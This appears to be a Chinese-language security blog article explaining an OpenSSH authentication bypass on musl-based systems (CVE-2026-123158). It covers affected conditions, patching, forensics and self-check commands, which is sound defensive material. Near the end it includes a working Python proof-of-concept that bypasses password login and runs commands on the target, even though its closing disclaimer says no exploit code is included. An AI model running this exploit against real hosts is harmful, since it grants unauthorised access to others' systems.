一个密码符号引发的 SSH 绕过:CVE-2026-123158(\*sshole)深度解读
网络安全启蒙
2026年11月6日 17:55
陕西
去阅读
一个密码符号引发的 SSH 绕过:CVE-2026-123158(\*sshole)深度解读
本文为技术复现与解读,素材来自 OpenSSH 官方公告、NVD、Alpine 安全公告及多家安全厂商分析。
原始研究归属:Özgün Kültekin(Wakefield),研究主页 sshhole.com。
转发请保留出处与 CVE 编号,便于读者交叉核验。
一、先说结论
2026 年 11 月 5 日,OpenSSH 官方发布 10.6p2,修复了一个名为 \*sshole 的密码认证绕过漏洞,编号 CVE-2026-123158。
它有多严重?两个口径要一起看:
- • MITRE 给出的 CVSS 3.1 评分为 8.1(High),向量
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H; - • OpenSSH 官方自己的定性是「critical security workaround」(关键安全补丁)。
注意中间那个 AC:H(攻击复杂度高)——这不是一个\"一键打全场\"的漏洞,它有相当严格的前提条件。这也是本文想重点讲清楚的地方:它在特定系统上是真危险,但远不是\"所有 Linux 服务器已经沦陷\"。
截至目前,该漏洞不在 CISA KEV 清单中,也无公开在野利用报告。补丁发布不足两周,正是该修的时候。
二、它到底是怎么被绕过的
故事的主角不是 OpenSSH 本身,而是一个你可能没注意过的底层组件:musl libc 的 crypt() 函数。
/etc/shadow 里,那些\"没有密码、只能密钥登录、或者被锁定\"的账户,第二栏通常就一个星号 *。它是个占位符,意思是\"这个账户不该用密码登进来\"。
正常情况下没问题。但 musl 在处理 SHA-256/SHA-512($5$/$6$) 类型的口令、且口令长度 超过 256 字节 时,crypt() 会返回一个错误值——而这个错误值,恰好也是 *。
于是出现了一个致命的巧合:
-
- 攻击者先用一个随便错的口令发起一次登录尝试。这一步的副作用,是让 sshd 内部借到了一个真实账户的盐值、并改动了一处静态缓冲区;
-
- 紧接着,在同一个 TCP 连接里,发一个 数百字节的超长口令(长度上限来自 sshd 自身的
MAX_PASSWORD_LEN,即 1024 字节);
- 紧接着,在同一个 TCP 连接里,发一个 数百字节的超长口令(长度上限来自 sshd 自身的
-
- musl 的
crypt()对这个超长口令返回*,sshd 拿它去和/etc/shadow里那个*比对——两个星号相等,认证被误判通过。
- musl 的
整个过程不需要知道任何真实密码,也不需要爆破,因为它绕过的本来就是\"压根没设密码\"的账户状态。
技术史上有个呼应:2016 年的 CVE-2016-6210 计时侧信道修复,引入了
pick_salt()这条路径,正是本次漏洞借力的机制来源。一个当年的防御改动,在 musl 的特定行为下,反过来成了绕过入口。
三、谁中招,谁安全
这是最关键的一节,请对着看。
同时满足以下所有条件,才在影响范围内:
-
- sshd 链接的是 musl libc(典型系统:Alpine Linux、OpenWrt、Buildroot、Yocto 构建的嵌入式系统);
- 2. 未启用 PAM(Alpine 默认的
openssh-server即不带 PAM); - 3.
PasswordAuthentication为yes(OpenSSH 默认就是开着的); -
- 系统里存在
/etc/shadow第二栏为*的账户,且本机另有至少一个账户持有$5$/$6$类型的真实哈希(用于\"借盐\")。
- 系统里存在
以下情况不受影响,可以松一口气:
- • 使用 glibc 的系统——也就是 Debian、Ubuntu、RHEL、CentOS、Arch 等绝大多数桌面和服务器发行版。glibc 的
crypt()在超长口令时返回的是x0/x1而非*,这条路从根上走不通; - • 启用了 PAM 的 sshd;
- • 被
!锁定的账户(sshd 会直接判定为锁定,不进入比对); - • 持有真实密码哈希的账户(这是绕过\"无密码状态\",不是破解密码);
- • 根本没跑 sshd 的设备。
一个常见误解需要澄清:很多文章写\"可直取 root\",这个说法默认不成立。Alpine 默认 PermitRootLogin prohibit-password,root 直接密码登录是被挡掉的。真正危险的组合,是官方 tiny-cloud 镜像(3.18.11–3.24.3) 上的 alpine 用户——它配合免密 doas 可以进一步提升到 root。而 root 直登,需要管理员显式开启 PermitRootLogin yes。所以更准确的表述是:默认危害是任意 * 账户可被无密码登录;在特定镜像上可进一步提权至 root。
四、修复与缓解
首选方案:升级并重启。
OpenSSH 升级到 10.6p2 或更高版本。如果你用的是 Alpine,执行:
apk upgrade -U -a
但有一个最容易被忽略的坑:包升级不会自动替换正在运行的 sshd 进程。 你升级完不重启,旧进程还在内存里跑着,照样中招。必须手动重启:
rc-service sshd restart
(其他发行版对应各自的 ssh 服务管理命令。)
临时止血(来不及立即升级时):
把 PasswordAuthentication 改为 no,然后重启 sshd。那些只用密钥登录的账户本就不依赖密码,影响很小,但能立刻堵死这条绕过路径。
先取证,后打补丁。
如果你怀疑某台机器已经被利用过,不要急着升级——升级会覆盖掉入侵痕迹。先保留以下证据再处置:
- •
/var/log/messages里Accepted password for后面跟着异常账户(比如alpine、root、或本该只能密钥登录的账户); - • 可疑的
doas/sudo使用记录; - • 新增的用户、文件、
~/.ssh/authorized_keys改动。
停维(EOL)分支也别放弃。 Alpine 已经为 3.16 起的 EOL 分支也发布了补丁,不要用\"系统已经停维\"当理由不修。
五、读者自查清单
三行命令,一分钟判断你的 musl 主机是否在范围内。
1. 是不是 musl 构建的 sshd?
ldd \"$(command -v sshd || echo /usr/sbin/sshd)\" | grep -i musl
有输出 = 是 musl;无输出 = glibc,基本可排除。
2. 密码认证和 PAM 怎么配的?
sshd -T | grep -iE 'passwordauthentication|usepam'
若 passwordauthentication yes 且 usepam no,命中两个前提。
3. 有没有 * 账户?
awk -F: '$2==\"*\" {print $1}' /etc/shadow
列出的账户就是\"无密码状态\"账户,正是漏洞作用的对象。
三条都命中,请尽快按第四节升级并重启;若暂时不能升级,先关掉密码认证。
六、写在最后
\sshole 是一个教科书级别的\"底层假设被推翻\"案例:一个密码占位符 *,在另一个库的错误处理里刚好也是 *,二者叠加就让认证形同虚设。它再次提醒我们——安全漏洞常常不在你盯着的那一层*。
对绝大多数跑着 Ubuntu/CentOS 的云服务器(glibc)来说,这次可以放心;真正要紧张的是那些 Alpine 容器、OpenWrt 路由器、嵌入式设备——它们轻量、暴露面大、又常被遗忘在补丁周期之外。
补丁就在那里,重启一下就好。别让\"忘了重启\"成为那道没关上的门。
POC 可进行自检
使用方式
python ***.py ip port username
#!/usr/bin/env python3
\"\"\"sshhole PoC — OpenSSH < 10.6p2 password authentication bypass on musl libc
with PAM disabled (Alpine / OpenWrt / Buildroot / Yocto / musl images).
usage: poc_sshhole.py <host> <port> <user> [password length]
poc_sshhole.py 10.0.0.5 22 root # default 300 bytes
poc_sshhole.py 10.0.0.5 22 deploy 512
How it works (two password attempts, ONE connection):
1. any wrong password -> sshd runs pick_salt() and caches a real \"$6$..\"
hash prefix borrowed from another account; side effect: it also
clobbers sshd's static shadow buffer for this attempt.
2. a 257..1024 byte password -> musl crypt() rejects keys > 256 bytes and
returns \"*\", which compares equal to the \"*\" in /etc/shadow.
Server preconditions (checked by this script where possible):
* sshd on musl, PAM disabled, PasswordAuthentication yes
* target account exists and /etc/shadow holds exactly \"*\" for it
* at least one other account with a real \"$...\" hash exists (borrowed salt)
* MaxAuthTries >= 2 (default), root also needs PermitRootLogin yes
Note: an account locked with \"!\" is NOT affected (sshd rejects it as locked),
and neither is an account with a real password hash — this is a bypass of the
\"no password at all\" state, not a password cracker.
\"\"\"
import sys
import paramiko
argv = sys.argv[1:]
if len(argv) < 3:
print(__doc__)
sys.exit(2)
HOST = argv[0]
PORT = int(argv[1])
USER = argv[2]
length = int(argv[3]) if len(argv) > 3 else 300
def connect():
t = paramiko.Transport((HOST, PORT))
t.start_client(timeout=10)
t.banner_timeout = 15
return t
def attempt(t, password):
try:
t.auth_password(USER, password)
return True
except paramiko.AuthenticationException:
return False
except Exception as e: # noqa: BLE001
print(f\"[!] transport error: {type(e).__name__}: {e}\")
return False
def run(t, cmd):
ch = t.open_session()
ch.exec_command(cmd)
return ch.makefile(\"rb\").read().decode(errors=\"replace\").strip()
def main():
t = connect()
print(f\"[*] {HOST}:{PORT} server={t.remote_version} user={USER} pwlen={length}\")
# attempt 1: ordinary wrong password (primes pick_salt inside this sshd child)
print(\"[*] attempt 1: wrong password -> \", end=\"\", flush=True)
if attempt(t, \"sshhole-wrong-password\"):
print(\"ACCEPTED (unexpected, wrong password worked?)\")
return 1
print(\"denied\")
# attempt 2: the bypass
print(f\"[*] attempt 2: {length} x 'A' -> \", end=\"\", flush=True)
if not attempt(t, \"A\" * length):
print(\"denied -> not vulnerable (or precondition not met)\")
t.close()
return 1
print(\"ACCEPTED\")
print(\"[+] authenticated, command output:\")
for cmd in (\"id\", \"uname -sr\"):
try:
print(\" \" + cmd + \": \" + run(t, cmd).replace(\"\
\", \" | \"))
except Exception as e: # noqa: BLE001
print(f\" {cmd}: (failed: {e})\")
t.close()
return 0
sys.exit(main())
参考与延伸
- • OpenSSH 10.6p2 发布公告(Damien Miller,openssh-unix-dev 邮件列表)
- • NVD:CVE-2026-123158
- • CISA KEV 查询(截至发稿未收录)
- • Alpine Linux 官方安全公告
- • 原始研究:sshhole.com(Özgün Kültekin, Wakefield)
声明:本文仅作技术原理与防御科普,不含任何可复现的利用代码。请仅在自身拥有合法授权的设备上开展自查与加固。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论